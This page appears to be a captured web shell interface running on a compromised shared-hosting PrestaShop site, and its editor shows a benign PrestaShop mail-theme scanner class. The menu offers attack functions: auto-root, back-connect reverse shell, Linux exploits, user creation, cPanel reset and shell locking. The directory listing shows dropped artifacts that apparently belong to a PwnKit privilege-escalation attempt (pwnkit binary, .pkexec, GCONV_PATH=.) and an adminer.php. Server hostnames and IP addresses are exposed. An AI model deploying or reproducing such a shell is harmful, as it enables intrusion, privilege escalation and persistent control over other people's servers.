Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.84
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
src /
Core /
MailTemplate /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Layout
[ DIR ]
drwx---r-x
Transformation
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
FolderThemeCatalog.php
4.39
KB
-rw----r--
FolderThemeScanner.php
6
KB
-rw----r--
MailTemplateGenerator.php
5.34
KB
-rw----r--
MailTemplateInterface.php
1.84
KB
-rw----r--
MailTemplateRendererInterface....
2.31
KB
-rw----r--
MailThemeConfiguration.php
2.93
KB
-rw----r--
Theme.php
2.09
KB
-rw----r--
ThemeCatalogInterface.php
1.94
KB
-rw----r--
ThemeCollection.php
1.75
KB
-rw----r--
ThemeCollectionInterface.php
1.82
KB
-rw----r--
ThemeInterface.php
1.56
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FolderThemeScanner.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\MailTemplate; use PrestaShop\PrestaShop\Core\Exception\FileNotFoundException; use PrestaShop\PrestaShop\Core\Exception\TypeException; use PrestaShop\PrestaShop\Core\MailTemplate\Layout\Layout; use PrestaShop\PrestaShop\Core\MailTemplate\Layout\LayoutCollection; use PrestaShop\PrestaShop\Core\MailTemplate\Layout\LayoutCollectionInterface; use Symfony\Component\Finder\Finder; use Symfony\Component\Finder\SplFileInfo; /** * Class FolderThemeScanner is used to scan a mail theme folder, it returns a ThemeInterface with all * its layouts. */ final class FolderThemeScanner { /** * @param string $mailThemeFolder * * @return ThemeInterface|null * * @throws FileNotFoundException * @throws TypeException */ public function scan($mailThemeFolder) { $this->checkThemeFolder($mailThemeFolder); $mailTheme = new Theme(basename($mailThemeFolder)); $finder = new Finder(); $finder->files()->in($mailThemeFolder); if ($finder->count() > 0) { $mailTheme->setLayouts($this->findThemeLayouts($mailThemeFolder)); } return $mailTheme; } /** * @param string $mailThemeFolder * * @throws TypeException * * @return LayoutCollectionInterface */ private function findThemeLayouts($mailThemeFolder) { $mailThemeLayouts = new LayoutCollection(); $this->addCoreLayouts($mailThemeLayouts, $mailThemeFolder); $this->addModulesLayouts($mailThemeLayouts, $mailThemeFolder); return $mailThemeLayouts; } /** * @param LayoutCollectionInterface $collection * @param string $mailThemeFolder */ private function addCoreLayouts(LayoutCollectionInterface $collection, $mailThemeFolder) { $coreLayoutsFolder = implode(DIRECTORY_SEPARATOR, [ $mailThemeFolder, MailTemplateInterface::CORE_CATEGORY, ]); if (!is_dir($coreLayoutsFolder)) { return; } $this->addLayoutsFromFolder($collection, $coreLayoutsFolder); } /** * @param LayoutCollectionInterface $collection * @param string $mailThemeFolder */ private function addModulesLayouts(LayoutCollectionInterface $collection, $mailThemeFolder) { $moduleLayoutsFolder = implode(DIRECTORY_SEPARATOR, [ $mailThemeFolder, MailTemplateInterface::MODULES_CATEGORY, ]); if (!is_dir($moduleLayoutsFolder)) { return; } $moduleFinder = new Finder(); $moduleFinder->directories()->in($moduleLayoutsFolder)->depth(0); /* @var SplFileInfo $moduleFolder */ foreach ($moduleFinder as $moduleFolder) { $this->addLayoutsFromFolder($collection, $moduleFolder->getRealPath(), $moduleFolder->getFilename()); } } /** * @param LayoutCollectionInterface $collection * @param string $folder * @param string $moduleName */ private function addLayoutsFromFolder( LayoutCollectionInterface $collection, $folder, $moduleName = '' ) { $layoutFiles = []; $finder = new Finder(); $finder->files()->in($folder)->sortByName(); /** @var SplFileInfo $fileInfo */ foreach ($finder as $fileInfo) { //Get filename without any extension (ex: account.html.twig -> account) $layoutName = preg_replace('/\..+/', '', $fileInfo->getBasename()); if (!isset($layoutFiles[$layoutName])) { $layoutFiles[$layoutName] = [ MailTemplateInterface::HTML_TYPE => '', MailTemplateInterface::TXT_TYPE => '', ]; } $templateType = $this->getTemplateType($fileInfo); $layoutFiles[$layoutName][$templateType] = $fileInfo->getRealPath(); } foreach ($layoutFiles as $layoutName => $layouts) { $collection->add(new Layout( $layoutName, $layouts[MailTemplateInterface::HTML_TYPE], $layouts[MailTemplateInterface::TXT_TYPE], $moduleName )); } } /** * @param SplFileInfo $fileInfo * * @return string */ private function getTemplateType(SplFileInfo $fileInfo) { $ext = !empty($fileInfo->getExtension()) ? '.' . $fileInfo->getExtension() : ''; $htmlTypeRegexp = sprintf('/.+\.%s%s/', MailTemplateInterface::HTML_TYPE, $ext); if (preg_match($htmlTypeRegexp, $fileInfo->getFilename())) { return MailTemplateInterface::HTML_TYPE; } return MailTemplateInterface::TXT_TYPE; } /** * @throws FileNotFoundException */ private function checkThemeFolder($mailThemeFolder) { if (!is_dir($mailThemeFolder)) { throw new FileNotFoundException(sprintf('Invalid mail theme folder "%s": no such directory', $mailThemeFolder)); } } }
Close